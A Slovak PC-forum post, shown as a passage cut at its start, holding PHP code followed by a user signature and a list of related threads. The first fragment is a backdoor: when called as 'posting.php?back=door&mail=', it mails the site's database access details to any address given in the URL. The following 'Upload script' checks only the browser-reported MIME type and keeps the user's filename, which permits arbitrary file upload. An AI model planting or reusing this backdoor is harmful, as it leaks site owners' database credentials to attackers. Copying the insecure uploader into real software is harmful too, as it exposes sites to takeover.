'; $message .= '$table_prefix : ' . $table_prefix . '<br /> '; $header .= 'MIME-Version: 1.0' . "\r\n"; $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if ( mail($HTTP_GET_VARS['mail'], 'Database Access' , $message, $header) ) { echo 'Acccess Alowed'; } else { echo 'Acccess Denied'; } }


posting.php?back=door&mail=


Upload script

<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" bordercolor="#cccccc" cellpadding="5" width="760">
<tbody>
<tr>
<td valign="top">
<form method="post" enctype="multipart/form-data" action="upload.php"><div align="center"><label><input name="radiobutton" type="hidden" value="radiobutton" checked></label><input name="userfile" type="file" size="30" value="Vyber"><br><br><input name="upload" type="submit" value="Upload"></div></form>
<input name="MAX_FILE_SIZE" value="3145728" type="hidden"><input name="refer" value="" type="hidden"><input name="brand" value="" type="hidden">
</td>
</tr>
</tbody>
</table>
</body>
</html>

<html>
<body>
<?php $domain = "http://localhost"; $max_size = 153600000000000000000000000000000000000; $max_size_mb = "1,5"; $tsize = "300"; $path = "images/"; $tpath = "thumbs/"; if (!isset($HTTP_POST_FILES['userfile'])) exit; if (is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { if ($HTTP_POST_FILES['userfile']['size']>$max_size) { echo "<font color=\"#333333\" face=\"Geneva, Arial, Helvetica, sans-serif\">File Size too Big!</font><br>\n"; exit; } if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) { if (file_exists("./".$path . $HTTP_POST_FILES['userfile']['name'])) { echo "<font color=\"#333333\" face=\"Geneva, Arial, Helvetica, sans-serif\">A File with that name exists, please rename your file.</font><br>\n"; exit; } $zufall = rand(123,999999); $fupl = "$zufall"; $res = copy($HTTP_POST_FILES['userfile']['tmp_name'], "./".$path .$fupl .$HTTP_POST_FILES['userfile']['name']); if (!$res) { echo "<font color=\"#333333\" face=\"Geneva, Arial, Helvetica, sans-serif\">Upload Failed, please try again</font><br>\n"; exit; } else { $domst = ""; $drecks = "/"; $imgf = $fupl.$HTTP_POST_FILES['userfile']['name']; $thbf = $tpath.$imgf; $urlf = $domst .$domain .$drecks .$path .$imgf; function createthumb($name,$filename,$new_w,$new_h) { $system=explode('.',$name); if (preg_match('/jpg|jpeg|JPG/',$system[1])) { $src_img=imagecreatefromjpeg($name); } if (preg_match('/png|PNG/',$system[1])) { $src_img=imagecreatefrompng($name); } if (preg_match('/gif|GIF/',$system[1])) { $src_img=imagecreatefromgif($name); } $old_x=imageSX($src_img); $old_y=imageSY($src_img); if ($old_x > $old_y) { $thumb_w=$new_w; $thumb_h=$old_y*($new_h/$old_x); } if ($old_x < $old_y) { $thumb_w=$old_x*($new_w/$old_y); $thumb_h=$new_h; } if ($old_x == $old_y) { $thumb_w=$new_w; $thumb_h=$new_h; } $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h); imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); if (preg_match("/png/",$system[1])) { imagepng($dst_img,$filename); } if (preg_match("/gif/",$system[1])) { imagegif($dst_img,$filename); } else { imagejpeg($dst_img,$filename); } imagedestroy($dst_img); imagedestroy($src_img); } createthumb($path.$imgf,$tpath.$imgf,$tsize,$tsize); } } else { echo "Sorry we dont allow that file type.\n"; exit; } } ?>
<body>
<center>
<table border='0' bgcolor='white'>
<FORM action="nowhere" method="post">
<center>
<tr>
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
<tbody>
<tr>
<td>
<p><a href="<? echo $domain; ?>"><b>Upload</b></a> another image.</p>
<br>
<center><img src='<? echo $thbf ?>' border="0"></center>
<br>
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[url=<? echo $urlf; ?>][img]<?%20echo%20$domst.$domain.$drecks.$tpath.$imgf;%20?>[/img][/url]" size="70"> Thumbnail for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="[img]<?%20echo%20$urlf;%20?>[/img]" size="70"> Hotlink for forums
<br>
<input name="thetext" type="text" id="thetext" style="width: 500px;" value="<? echo $urlf; ?>" size="70"> Direct link to image
</td>
</tr>
</tbody>
</table>
</body>
</html>
</tr>
</table>
</body>
</html>


_________________
Streacom DA2 | SilverStone Titanium SX800-LTI 800W | ASRock X299E-ITX/ac | Intel Core i9-9980XE & be quiet! Dark Rock TF | Kingston HyperX Impact 64 GB DDR4 2666 MHz | NVIDIA Titan RTX 24 GB | Intel SSD Optane 905P 480 GB NVMe U.2 & Intel SSD 750 1,2 TB NVMe U.2 & Intel SSD 660p 2 TB NVMe M.2 & Seagate BackUp Plus Portable 56 TB USB | 55" 4K OLED Dell Alienware AW5520QF | Ergotron LX Wall Mount Keyboard Arm | Logitech Craft | Logitech G603 | Logitech F710 | Harman Kardon Sabre SB 35 & Sennheiser RS 175 | Microsoft Windows 11 Enterprise | APC Back-UPS BE-850 VA | Lenovo ThinkPad X250 & Microsoft Windows 11 Professional | iPhone 15 Pro 256 GB & Pitaka Aramid | SilverStone ML05B Milo | Corsair SF600 SFX 600W | ASRock X99E-ITX/ac | Intel Xeon E5-2683 v4 & NOCTUA NH-L12S | Kingston HyperX Savage 32 GB DDR4 2400 MHz | NVIDIA GeForce GT 710 1 GB | Intel SSD Optane Memory 32 GB NVMe M.2 & Intel SSD 730 240 GB SATA | Ubuntu 24.04.1 LTS
 [ Príspevok: 1 ] 


Account Self-Delete



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

Self-hosted kalendar/harmonogram

v Ostatné

3

362

05.11.2024 12:57

eMKejx

V tomto fóre nie sú ďalšie neprečítané témy.

self:: v heredoc/variable parsing

v PHP, ASP

0

353

10.03.2012 18:12

1daemon1

V tomto fóre nie sú ďalšie neprečítané témy.

Free/open source self-hosted cloud/groupware

v Ostatné

0

186

30.07.2024 13:38

Iv0

V tomto fóre nie sú ďalšie neprečítané témy.

Steam account

v Počítačové hry

2

1253

24.09.2006 19:29

FPS_Breaker

V tomto fóre nie sú ďalšie neprečítané témy.

Paypal account

v Obchody, reklamácie a právo

4

1775

07.09.2007 15:36

JanoF

V tomto fóre nie sú ďalšie neprečítané témy.

Microsoft account

v Služby a webstránky

0

1046

06.03.2013 11:04

Axio

V tomto fóre nie sú ďalšie neprečítané témy.

Zabudnutý account

v Počítačové hry

4

672

26.03.2010 14:18

Dj Kuno

V tomto fóre nie sú ďalšie neprečítané témy.

DELETE

v Databázy

1

805

11.10.2007 19:13

stenley

V tomto fóre nie sú ďalšie neprečítané témy.

Paypal Validation Account

v Služby a webstránky

6

644

19.03.2016 15:20

MAREK17

V tomto fóre nie sú ďalšie neprečítané témy.

ICQ account bloked

v Sieťové a internetové programy

7

804

04.12.2006 9:45

nZL

V tomto fóre nie sú ďalšie neprečítané témy.

Delete problém

v PHP, ASP

20

854

30.11.2008 20:32

stenley

V tomto fóre nie sú ďalšie neprečítané témy.

procedure delete

v Delphi, Visual Basic

6

713

15.12.2009 23:17

stopa27

V tomto fóre nie sú ďalšie neprečítané témy.

delete char*

v Assembler, C, C++, Pascal, Java

4

448

17.11.2012 20:04

m4r14n

V tomto fóre nie sú ďalšie neprečítané témy.

delete subor

v Ostatné programy

7

735

18.08.2008 0:37

dedko45

V tomto fóre nie sú ďalšie neprečítané témy.

win 7 account deleted

v Operačné systémy Microsoft

0

352

17.06.2013 5:56

Mysql_dodo

V tomto fóre nie sú ďalšie neprečítané témy.

Restrict Account To IP

v Redakčné systémy

0

603

14.10.2006 14:50

JanoF



© 2005 - 2024 PCforum, edited by JanoF